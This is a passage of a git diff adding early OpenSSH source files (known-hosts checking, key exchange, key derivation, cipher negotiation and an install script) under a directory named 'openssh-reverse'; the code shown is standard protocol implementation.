k->rsa->e); + BN_copy(n, k->rsa->n); + key_free(k); + return ret; +} + +int +hostfile_check_key(int bits, Key *key, const char *host, const char *filename, int linenum) +{ + if (key == NULL || key->type != KEY_RSA || key->rsa == NULL) + return 1; + if (bits != BN_num_bits(key->rsa->n)) { + log("Warning: %s, line %d: keysize mismatch for host %s: " + "actual %d vs. announced %d.", + filename, linenum, host, BN_num_bits(key->rsa->n), bits); + log("Warning: replace %d with %d in %s, line %d.", + bits, BN_num_bits(key->rsa->n), filename, linenum); + } + return 1; +} + +/* + * Checks whether the given host (which must be in all lowercase) is already + * in the list of our known hosts. Returns HOST_OK if the host is known and + * has the specified key, HOST_NEW if the host is not known, and HOST_CHANGED + * if the host is known but used to have a different host key. + */ + +HostStatus +check_host_in_hostfile(const char *filename, const char *host, Key *key, Key *found) +{ + FILE *f; + char line[8192]; + int linenum = 0; + unsigned int kbits, hostlen; + char *cp, *cp2; + HostStatus end_return; + + if (key == NULL) + fatal("no key to look up"); + /* Open the file containing the list of known hosts. */ + f = fopen(filename, "r"); + if (!f) + return HOST_NEW; + + /* Cache the length of the host name. */ + hostlen = strlen(host); + + /* + * Return value when the loop terminates. This is set to + * HOST_CHANGED if we have seen a different key for the host and have + * not found the proper one. + */ + end_return = HOST_NEW; + + /* Go trough the file. */ + while (fgets(line, sizeof(line), f)) { + cp = line; + linenum++; + + /* Skip any leading whitespace, comments and empty lines. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '#' || *cp == '\n') + continue; + + /* Find the end of the host name portion. */ + for (cp2 = cp; *cp2 && *cp2 != ' ' && *cp2 != '\t'; cp2++) + ; + + /* Check if the host name matches. */ + if (match_hostname(host, cp, (unsigned int) (cp2 - cp)) != 1) + continue; + + /* Got a match. Skip host name. */ + cp = cp2; + + /* + * Extract the key from the line. This will skip any leading + * whitespace. Ignore badly formatted lines. + */ + if (!hostfile_read_key(&cp, &kbits, found)) + continue; + if (!hostfile_check_key(kbits, found, host, filename, linenum)) + continue; + + /* Check if the current key is the same as the given key. */ + if (key_equal(key, found)) { + /* Ok, they match. */ + fclose(f); + return HOST_OK; + } + /* + * They do not match. We will continue to go through the + * file; however, we note that we will not return that it is + * new. + */ + end_return = HOST_CHANGED; + } + /* Clear variables and close the file. */ + fclose(f); + + /* + * Return either HOST_NEW or HOST_CHANGED, depending on whether we + * saw a different key for the host. + */ + return end_return; +} + +/* + * Appends an entry to the host file. Returns false if the entry could not + * be appended. + */ + +int +add_host_to_hostfile(const char *filename, const char *host, Key *key) +{ + FILE *f; + int success = 0; + if (key == NULL) + return 1; /* XXX ? */ + f = fopen(filename, "a"); + if (!f) + return 0; + fprintf(f, "%s ", host); + if (key_write(key, f)) { + success = 1; + } else { + error("add_host_to_hostfile: saving key in %s failed", filename); + } + fprintf(f, "\n"); + fclose(f); + return success; +} diff --git a/other/openssh-reverse/hostfile.h b/other/openssh-reverse/hostfile.h new file mode 100644 index 0000000..c9bdd7f --- /dev/null +++ b/other/openssh-reverse/hostfile.h @@ -0,0 +1,22 @@ +#ifndef HOSTFILE_H +#define HOSTFILE_H + +/* + * Checks whether the given host is already in the list of our known hosts. + * Returns HOST_OK if the host is known and has the specified key, HOST_NEW + * if the host is not known, and HOST_CHANGED if the host is known but used + * to have a different host key. The host must be in all lowercase. + */ +typedef enum { + HOST_OK, HOST_NEW, HOST_CHANGED +} HostStatus; +HostStatus +check_host_in_hostfile(const char *filename, const char *host, Key *key, Key *found); + +/* + * Appends an entry to the host file. Returns false if the entry could not + * be appended. + */ +int add_host_to_hostfile(const char *filename, const char *host, Key *key); + +#endif diff --git a/other/openssh-reverse/includes.h b/other/openssh-reverse/includes.h new file mode 100644 index 0000000..2f3a56e --- /dev/null +++ b/other/openssh-reverse/includes.h @@ -0,0 +1,111 @@ +/* + * + * includes.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Thu Mar 23 16:29:37 1995 ylo + * + * This file includes most of the needed system headers. + * + */ + +#ifndef INCLUDES_H +#define INCLUDES_H + +#define RCSID(msg) \ +static /**/const char *const rcsid[] = { (char *)rcsid, "\100(#)" msg } + +#include "config.h" + +#include "next-posix.h" + +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef HAVE_BSTRING_H +# include +#endif +#ifdef HAVE_NETGROUP_H +# include +#endif +#if defined(HAVE_NETDB_H) && !defined(HAVE_NEXT) +/* Next includes this as part of another header */ +# include +#endif +#ifdef HAVE_ENDIAN_H +# include +#endif +#ifdef HAVE_SYS_SELECT_H +# include +#endif +#ifdef HAVE_SYS_TIME_H +# include +#endif +#ifdef HAVE_SYS_BSDTTY_H +# include +#endif +#ifdef USE_PAM +# include +#endif +#ifdef HAVE_POLL_H +# include +#else +# ifdef HAVE_SYS_POLL_H +# include +# endif +#endif +#ifdef HAVE_SYS_SYSMACROS_H +# include +#endif + +#include "version.h" + +/* OpenBSD function replacements */ +#include "openbsd-compat.h" + +/* Entropy collection */ +#include "entropy.h" + +/* Define this to be the path of the xauth program. */ +#ifndef XAUTH_PATH +#define XAUTH_PATH "/usr/X11R6/bin/xauth" +#endif /* XAUTH_PATH */ + +/* Define this to be the path of the rsh program. */ +#ifndef _PATH_RSH +#define _PATH_RSH "/usr/bin/rsh" +#endif /* _PATH_RSH */ + +/* + * Define this to use pipes instead of socketpairs for communicating with the + * client program. Socketpairs do not seem to work on all systems. + */ +/* #define USE_PIPES 1 */ + +#endif /* INCLUDES_H */ diff --git a/other/openssh-reverse/install-sh b/other/openssh-reverse/install-sh new file mode 100755 index 0000000..e9de238 --- /dev/null +++ b/other/openssh-reverse/install-sh @@ -0,0 +1,251 @@ +#!/bin/sh +# +# install - install a program, script, or datafile +# This comes from X11R5 (mit/util/scripts/install.sh). +# +# Copyright 1991 by the Massachusetts Institute of Technology +# +# Permission to use, copy, modify, distribute, and sell this software and its +# documentation for any purpose is hereby granted without fee, provided that +# the above copyright notice appear in all copies and that both that +# copyright notice and this permission notice appear in supporting +# documentation, and that the name of M.I.T. not be used in advertising or +# publicity pertaining to distribution of the software without specific, +# written prior permission. M.I.T. makes no representations about the +# suitability of this software for any purpose. It is provided "as is" +# without express or implied warranty. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# `make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. It can only install one file at a time, a restriction +# shared with many OS's install programs. + + +# set DOITPROG to echo to test this script + +# Don't use :- since 4.3BSD and earlier shells don't like it. +doit="${DOITPROG-}" + + +# put in absolute paths if you don't have them in your path; or use env. vars. + +mvprog="${MVPROG-mv}" +cpprog="${CPPROG-cp}" +chmodprog="${CHMODPROG-chmod}" +chownprog="${CHOWNPROG-chown}" +chgrpprog="${CHGRPPROG-chgrp}" +stripprog="${STRIPPROG-strip}" +rmprog="${RMPROG-rm}" +mkdirprog="${MKDIRPROG-mkdir}" + +transformbasename="" +transform_arg="" +instcmd="$mvprog" +chmodcmd="$chmodprog 0755" +chowncmd="" +chgrpcmd="" +stripcmd="" +rmcmd="$rmprog -f" +mvcmd="$mvprog" +src="" +dst="" +dir_arg="" + +while [ x"$1" != x ]; do + case $1 in + -c) instcmd="$cpprog" + shift + continue;; + + -d) dir_arg=true + shift + continue;; + + -m) chmodcmd="$chmodprog $2" + shift + shift + continue;; + + -o) chowncmd="$chownprog $2" + shift + shift + continue;; + + -g) chgrpcmd="$chgrpprog $2" + shift + shift + continue;; + + -s) stripcmd="$stripprog" + shift + continue;; + + -t=*) transformarg=`echo $1 | sed 's/-t=//'` + shift + continue;; + + -b=*) transformbasename=`echo $1 | sed 's/-b=//'` + shift + continue;; + + *) if [ x"$src" = x ] + then + src=$1 + else + # this colon is to work around a 386BSD /bin/sh bug + : + dst=$1 + fi + shift + continue;; + esac +done + +if [ x"$src" = x ] +then + echo "install: no input file specified" + exit 1 +else + true +fi + +if [ x"$dir_arg" != x ]; then + dst=$src + src="" + + if [ -d $dst ]; then + instcmd=: + chmodcmd="" + else + instcmd=mkdir + fi +else + +# Waiting for this to be detected by the "$instcmd $src $dsttmp" command +# might cause directories to be created, which would be especially bad +# if $src (and thus $dsttmp) contains '*'. + + if [ -f $src -o -d $src ] + then + true + else + echo "install: $src does not exist" + exit 1 + fi + + if [ x"$dst" = x ] + then + echo "install: no destination specified" + exit 1 + else + true + fi + +# If destination is a directory, append the input filename; if your system +# does not like double slashes in filenames, you may need to add some logic + + if [ -d $dst ] + then + dst="$dst"/`basename $src` + else + true + fi +fi + +## this sed command emulates the dirname command +dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` + +# Make sure that the destination directory exists. +# this part is taken from Noah Friedman's mkinstalldirs script + +# Skip lots of stat calls in the usual case. +if [ ! -d "$dstdir" ]; then +defaultIFS=' +' +IFS="${IFS-${defaultIFS}}" + +oIFS="${IFS}" +# Some sh's can't handle IFS=/ for some reason. +IFS='%' +set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` +IFS="${oIFS}" + +pathcomp='' + +while [ $# -ne 0 ] ; do + pathcomp="${pathcomp}${1}" + shift + + if [ ! -d "${pathcomp}" ] ; + then + $mkdirprog "${pathcomp}" + else + true + fi + + pathcomp="${pathcomp}/" +done +fi + +if [ x"$dir_arg" != x ] +then + $doit $instcmd $dst && + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi +else + +# If we're going to rename the final executable, determine the name now. + + if [ x"$transformarg" = x ] + then + dstfile=`basename $dst` + else + dstfile=`basename $dst $transformbasename | + sed $transformarg`$transformbasename + fi + +# don't allow the sed command to completely eliminate the filename + + if [ x"$dstfile" = x ] + then + dstfile=`basename $dst` + else + true + fi + +# Make a temp file name in the proper directory. + + dsttmp=$dstdir/#inst.$$# + +# Move or copy the file name to the temp name + + $doit $instcmd $src $dsttmp && + + trap "rm -f ${dsttmp}" 0 && + +# and set any options; do chmod last to preserve setuid bits + +# If any of these fail, we abort the whole thing. If we want to +# ignore errors from any of these, just make sure not to ignore +# errors from the above "$doit $instcmd $src $dsttmp" command. + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && + +# Now rename the file to the real destination. + + $doit $rmcmd -f $dstdir/$dstfile && + $doit $mvcmd $dsttmp $dstdir/$dstfile + +fi && + + +exit 0 diff --git a/other/openssh-reverse/kex.c b/other/openssh-reverse/kex.c new file mode 100644 index 0000000..b488090 --- /dev/null +++ b/other/openssh-reverse/kex.c @@ -0,0 +1,470 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: kex.c,v 1.9 2000/07/10 16:30:25 ho Exp $"); + +#include "ssh.h" +#include "ssh2.h" +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "packet.h" +#include "cipher.h" +#include "compat.h" + +#include +#include + +#include +#include +#include +#include +#include + +#include "kex.h" + +#define KEX_COOKIE_LEN 16 + +Buffer * +kex_init(char *myproposal[PROPOSAL_MAX]) +{ + int first_kex_packet_follows = 0; + unsigned char cookie[KEX_COOKIE_LEN]; + u_int32_t rand = 0; + int i; + Buffer *ki = xmalloc(sizeof(*ki)); + for (i = 0; i < KEX_COOKIE_LEN; i++) { + if (i % 4 == 0) + rand = arc4random(); + cookie[i] = rand & 0xff; + rand >>= 8; + } + buffer_init(ki); + buffer_append(ki, (char *)cookie, sizeof cookie); + for (i = 0; i < PROPOSAL_MAX; i++) + buffer_put_cstring(ki, myproposal[i]); + buffer_put_char(ki, first_kex_packet_follows); + buffer_put_int(ki, 0); /* uint32 reserved */ + return ki; +} + +/* send kexinit, parse and save reply */ +void +kex_exchange_kexinit( + Buffer *my_kexinit, Buffer *peer_kexint, + char *peer_proposal[PROPOSAL_MAX]) +{ + int i; + char *ptr; + int plen; + + debug("send KEXINIT"); + packet_start(SSH2_MSG_KEXINIT); + packet_put_raw(buffer_ptr(my_kexinit), buffer_len(my_kexinit)); + packet_send(); + packet_write_wait(); + debug("done"); + + /* + * read and save raw KEXINIT payload in buffer. this is used during + * computation of the session_id and the session keys. + */ + debug("wait KEXINIT"); + packet_read_expect(&plen, SSH2_MSG_KEXINIT); + ptr = packet_get_raw(&plen); + buffer_append(peer_kexint, ptr, plen); + + /* parse packet and save algorithm proposal */ + /* skip cookie */ + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + /* extract kex init proposal strings */ + for (i = 0; i < PROPOSAL_MAX; i++) { + peer_proposal[i] = packet_get_string(NULL); + debug("got kexinit: %s", peer_proposal[i]); + } + /* first kex follow / reserved */ + i = packet_get_char(); + debug("first kex follow: %d ", i); + i = packet_get_int(); + debug("reserved: %d ", i); + packet_done(); + debug("done"); +} + +/* diffie-hellman-group1-sha1 */ + +int +dh_pub_is_valid(DH *dh, BIGNUM *dh_pub) +{ + int i; + int n = BN_num_bits(dh_pub); + int bits_set = 0; + + /* we only accept g==2 */ + if (!BN_is_word(dh->g, 2)) { + log("invalid DH base != 2"); + return 0; + } + if (dh_pub->neg) { + log("invalid public DH value: negativ"); + return 0; + } + for (i = 0; i <= n; i++) + if (BN_is_bit_set(dh_pub, i)) + bits_set++; + debug("bits set: %d/%d", bits_set, BN_num_bits(dh->p)); + + /* if g==2 and bits_set==1 then computing log_g(dh_pub) is trivial */ + if (bits_set > 1 && (BN_cmp(dh_pub, dh->p) == -1)) + return 1; + log("invalid public DH value (%d/%d)", bits_set, BN_num_bits(dh->p)); + return 0; +} + +DH * +dh_new_group1() +{ + static char *group1 = + "FFFFFFFF" "FFFFFFFF" "C90FDAA2" "2168C234" "C4C6628B" "80DC1CD1" + "29024E08" "8A67CC74" "020BBEA6" "3B139B22" "514A0879" "8E3404DD" + "EF9519B3" "CD3A431B" "302B0A6D" "F25F1437" "4FE1356D" "6D51C245" + "E485B576" "625E7EC6" "F44C42E9" "A637ED6B" "0BFF5CB6" "F406B7ED" + "EE386BFB" "5A899FA5" "AE9F2411" "7C4B1FE6" "49286651" "ECE65381" + "FFFFFFFF" "FFFFFFFF"; + DH *dh; + int ret, tries = 0; + dh = DH_new(); + if(dh == NULL) + fatal("DH_new"); + ret = BN_hex2bn(&dh->p, group1); + if(ret<0) + fatal("BN_hex2bn"); + dh->g = BN_new(); + if(dh->g == NULL) + fatal("DH_new g"); + BN_set_word(dh->g, 2); + do { + if (DH_generate_key(dh) == 0) + fatal("DH_generate_key"); + if (tries++ > 10) + fatal("dh_new_group1: too many bad keys: giving up"); + } while (!dh_pub_is_valid(dh, dh->pub_key)); + return dh; +} + +void +dump_digest(unsigned char *digest, int len) +{ + int i; + for (i = 0; i< len; i++){ + fprintf(stderr, "%02x", digest[i]); + if(i%2!=0) + fprintf(stderr, " "); + } + fprintf(stderr, "\n"); +} + +unsigned char * +kex_hash( + char *client_version_string, + char *server_version_string, + char *ckexinit, int ckexinitlen, + char *skexinit, int skexinitlen, + char *serverhostkeyblob, int sbloblen, + BIGNUM *client_dh_pub, + BIGNUM *server_dh_pub, + BIGNUM *shared_secret) +{ + Buffer b; + static unsigned char digest[EVP_MAX_MD_SIZE]; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + + buffer_init(&b); + buffer_put_string(&b, client_version_string, strlen(client_version_string)); + buffer_put_string(&b, server_version_string, strlen(server_version_string)); + + /* kexinit messages: fake header: len+SSH2_MSG_KEXINIT */ + buffer_put_int(&b, ckexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, ckexinit, ckexinitlen); + buffer_put_int(&b, skexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, skexinit, skexinitlen); + + buffer_put_string(&b, serverhostkeyblob, sbloblen); + buffer_put_bignum2(&b, client_dh_pub); + buffer_put_bignum2(&b, server_dh_pub); + buffer_put_bignum2(&b, shared_secret); + +#ifdef DEBUG_KEX + buffer_dump(&b); +#endif + + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestFinal(&md, digest, NULL); + + buffer_free(&b); + +#ifdef DEBUG_KEX + dump_digest(digest, evp_md->md_size); +#endif + return digest; +} + +unsigned char * +derive_key(int id, int need, char unsigned *hash, BIGNUM *shared_secret) +{ + Buffer b; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + char c = id; + int have; + int mdsz = evp_md->md_size; + unsigned char *digest = xmalloc(((need+mdsz-1)/mdsz)*mdsz); + + buffer_init(&b); + buffer_put_bignum2(&b, shared_secret); + + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); /* shared_secret K */ + EVP_DigestUpdate(&md, hash, mdsz); /* transport-06 */ + EVP_DigestUpdate(&md, &c, 1); /* key id */ + EVP_DigestUpdate(&md, hash, mdsz); /* session id */ + EVP_DigestFinal(&md, digest, NULL); + + /* expand */ + for (have = mdsz; need > have; have += mdsz) { + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestUpdate(&md, hash, mdsz); + EVP_DigestUpdate(&md, digest, have); + EVP_DigestFinal(&md, digest + have, NULL); + } + buffer_free(&b); +#ifdef DEBUG_KEX + fprintf(stderr, "Digest '%c'== ", c); + dump_digest(digest, need); +#endif + return digest; +} + +#define NKEYS 6 + +#define MAX_PROP 20 +#define SEP "," + +char * +get_match(char *client, char *server) +{ + char *sproposals[MAX_PROP]; + char *c, *s, *p, *ret, *cp, *sp; + int i, j, nproposals; + + c = cp = xstrdup(client); + s = sp = xstrdup(server); + + for ((p = strsep(&sp, SEP)), i=0; p && *p != '\0'; + (p = strsep(&sp, SEP)), i++) { + if (i < MAX_PROP) + sproposals[i] = p; + else + break; + } + nproposals = i; + + for ((p = strsep(&cp, SEP)), i=0; p && *p != '\0'; + (p = strsep(&cp, SEP)), i++) { + for (j = 0; j < nproposals; j++) { + if (strcmp(p, sproposals[j]) == 0) { + ret = xstrdup(p); + xfree(c); + xfree(s); + return ret; + } + } + } + xfree(c); + xfree(s); + return NULL; +} +void +choose_enc(Enc *enc, char *client, char *server) +{ + char *name = get_match(client, server); + if (name == NULL) + fatal("no matching cipher found: client %s server %s", client, server); + enc->type = cipher_number(name); + + switch (enc->type) { + case SSH_CIPHER_3DES_CBC: + enc->key_len = 24; + enc->iv_len = 8; + enc->block_size = 8; + break; + case SSH_CIPHER_BLOWFISH_CBC: + case SSH_CIPHER_CAST128_CBC: + enc->key_len = 16; + enc->iv_len = 8; + enc->block_size = 8; + break; + case SSH_CIPHER_ARCFOUR: + enc->key_len = 16; + enc->iv_len = 0; + enc->block_size = 8; + break; + default: + fatal("unsupported cipher %s", name); + } + enc->name = name; + enc->enabled = 0; + enc->iv = NULL; + enc->key = NULL; +} +void +choose_mac(Mac *mac, char *client, char *server) +{ + char *name = get_match(client, server); + if (name == NULL) + fatal("no matching mac found: client %s server %s", client, server); + if (strcmp(name, "hmac-md5") == 0) { + mac->md = EVP_md5(); + } else if (strcmp(name, "hmac-sha1") == 0) { + mac->md = EVP_sha1(); + } else if (strcmp(name, "hmac-ripemd160@openssh.com") == 0) { + mac->md = EVP_ripemd160(); + } else { + fatal("unsupported mac %s", name); + } + mac->name = name; + mac->mac_len = mac->md->md_size; + mac->key_len = (datafellows & SSH_BUG_HMAC) ? 16 : mac->mac_len; + mac->key = NULL; + mac->enabled = 0; +} +void +choose_comp(Comp *comp, char *client, char *server) +{ + char *name = get_match(client, server); + if (name == NULL) + fatal("no matching comp found: client %s server %s", client, server); + if (strcmp(name, "zlib") == 0) { + comp->type = 1; + } else if (strcmp(name, "none") == 0) { + comp->type = 0; + } else { + fatal("unsupported comp %s", name); + } + comp->name = name; +} +void +choose_kex(Kex *k, char *client, char *server) +{ + k->name = get_match(client, server); + if (k->name == NULL) + fatal("no kex alg"); + if (strcmp(k->name, KEX_DH1) != 0) + fatal("bad kex alg %s", k->name); +} +void +choose_hostkeyalg(Kex *k, char *client, char *server) +{ + k->hostkeyalg = get_match(client, server); + if (k->hostkeyalg == NULL) + fatal("no hostkey alg"); + if (strcmp(k->hostkeyalg, KEX_DSS) != 0) + fatal("bad hostkey alg %s", k->hostkeyalg); +} + +Kex * +kex_choose_conf(char *cprop[PROPOSAL_MAX], char *sprop[PROPOSAL_MAX], int server) +{ + int mode; + int ctos; /* direction: if true client-to-server */ + int need; + Kex *k; + + k = xmalloc(sizeof(*k)); + memset(k, 0, sizeof(*k)); + k->server = server; + + for (mode = 0; mode < MODE_MAX; mode++) { + int nenc, nmac, ncomp; + ctos = (!k->server && mode == MODE_OUT) || (k->server && mode == MODE_IN); + nenc = ctos ? PROPOSAL_ENC_ALGS_CTOS : PROPOSAL_ENC_ALGS_STOC; + nmac = ctos ? PROPOSAL_MAC_ALGS_CTOS : PROPOSAL_MAC_ALGS_STOC; + ncomp = ctos ? PROPOSAL_COMP_ALGS_CTOS : PROPOSAL_COMP_ALGS_STOC; + choose_enc (&k->enc [mode], cprop[nenc], sprop[nenc]); + choose_mac (&k->mac [mode], cprop[nmac], sprop[nmac]); + choose_comp(&k->comp[mode], cprop[ncomp], sprop[ncomp]); + debug("kex: %s %s %s %s", + ctos ? "client->server" : "server->client", + k->enc[mode].name, + k->mac[mode].name, + k->comp[mode].name); + } + choose_kex(k, cprop[PROPOSAL_KEX_ALGS], sprop[PROPOSAL_KEX_ALGS]); + choose_hostkeyalg(k, cprop[PROPOSAL_SERVER_HOST_KEY_ALGS], + sprop[PROPOSAL_SERVER_HOST_KEY_ALGS]); + need = 0; + for (mode = 0; mode < MODE_MAX; mode++) { + if (need < k->enc[mode].key_len) + need = k->enc[mode].key_len; + if (need < k->enc[mode].iv_len) + need = k->enc[mode].iv_len; + if (need < k->mac[mode].key_len) + need = k->mac[mode].key_len; + } + /* XXX need runden? */ + k->we_need = need; + return k; +} + +int +kex_derive_keys(Kex *k, unsigned char *hash, BIGNUM *shared_secret) +{ + int i; + int mode; + int ctos; + unsigned char *keys[NKEYS]; + + for (i = 0; i < NKEYS; i++) + keys[i] = derive_key('A'+i, k->we_need, hash, shared_secret); + + for (mode = 0; mode < MODE_MAX; mode++) { + ctos = (!k->server && mode == MODE_OUT) || (k->server && mode == MODE_IN); + k->enc[mode].iv = keys[ctos ? 0 : 1]; + k->enc[mode].key = keys[ctos ? 2 : 3]; + k->mac[mode].key = keys[ctos ? 4 : 5]; + } + return 0; +} diff --git a/other/openssh-reverse/kex.h b/other/openssh-reverse/kex.h new file mode 100644 index 0000000..7e5c670 --- /dev/null +++ b/other/openssh-reverse/kex.h @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef KEX_H +#define KEX_H + +#define KEX_DH1 "diffie-hellman-group1-sha1" +#define KEX_DSS "ssh-dss" + +enum kex_init_proposals { + PROPOSAL_KEX_ALGS, + PROPOSAL_SERVER_HOST_KEY_ALGS, + PROPOSAL_ENC_ALGS_CTOS, + PROPOSAL_ENC_ALGS_STOC, + PROPOSAL_MAC_ALGS_CTOS, + PROPOSAL_MAC_ALGS_STOC, + PROPOSAL_COMP_ALGS_CTOS, + PROPOSAL_COMP_ALGS_STOC, + PROPOSAL_LANG_CTOS, + PROPOSAL_LANG_STOC, + PROPOSAL_MAX +}; + +enum kex_modes { + MODE_IN, + MODE_OUT, + MODE_MAX +}; + +typedef struct Kex Kex; +typedef struct Mac Mac; +typedef struct Comp Comp; +typedef struct Enc Enc; + +struct Enc { + int type; + int enabled; + int block_size; + unsigned char *key; + unsigned char *iv; + int key_len; + int iv_len; + char *name; +}; +struct Mac { + EVP_MD *md; + int enabled; + int mac_len; + unsigned char *key; + int key_len; + char *name; +}; +struct Comp { + int type; + int enabled; + char *name; +}; +struct Kex { + Enc enc [MODE_MAX]; + Mac mac [MODE_MAX]; + Comp comp[MODE_MAX]; + int we_need; + int server; + char *name; + char *hostkeyalg; +}; + +Buffer *kex_init(char *myproposal[PROPOSAL_MAX]); +void +kex_exchange_kexinit( + Buffer *my_kexinit, Buffer *peer_kexint, + char *peer_proposal[PROPOSAL_MAX]); +Kex * +kex_choose_conf(char *cprop[PROPOSAL_MAX], + char *sprop[PROPOSAL_MAX], int server); +int kex_derive_keys(Kex *k, unsigned char *hash, BIGNUM *shared_secret); +void packet_set_kex(Kex *k); +int dh_pub_is_valid(DH *dh, BIGNUM *dh_pub); +DH *dh_new_group1(); + +unsigned char * +kex_hash( + char *client_version_string, + char *server_version_string, + char *ckexinit, int ckexinitlen, + char *skexinit, int skexinitlen, + char *serverhostkeyblob, int sbloblen, + BIGNUM *client_dh_pub, + BIGNUM *server_dh_pub, + BIGNUM *shared_secret); + +#endif diff --git a/other/openssh-reverse/key.c b/other/openssh-reverse/key.c new file mode 100644 index 0000000..764f1f2 --- /dev/null +++ b/other/openssh-reverse/key.c @@ -0,0 +1,337 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; 